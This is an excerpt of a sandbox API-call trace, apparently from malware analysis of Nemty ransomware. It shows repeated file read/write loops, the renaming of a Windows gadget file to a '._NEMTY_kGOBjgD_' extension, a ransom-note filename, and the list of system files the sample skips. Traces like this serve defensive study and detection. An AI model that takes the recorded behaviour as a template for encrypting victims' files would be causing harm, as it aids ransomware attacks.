hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.524] CloseHandle (hObject=0xffffffff) returned 0 [0109.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0109.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0109.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css._nemty_kgobjgd_")) returned 0 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.525] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4dacf90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4dacf90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4dacf90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.525] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0109.526] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340288 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.526] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4dacf90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4dacf90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4dacf90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0109.527] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0109.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.527] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0109.527] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0109.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0109.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0109.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0109.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0109.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0109.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0109.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) 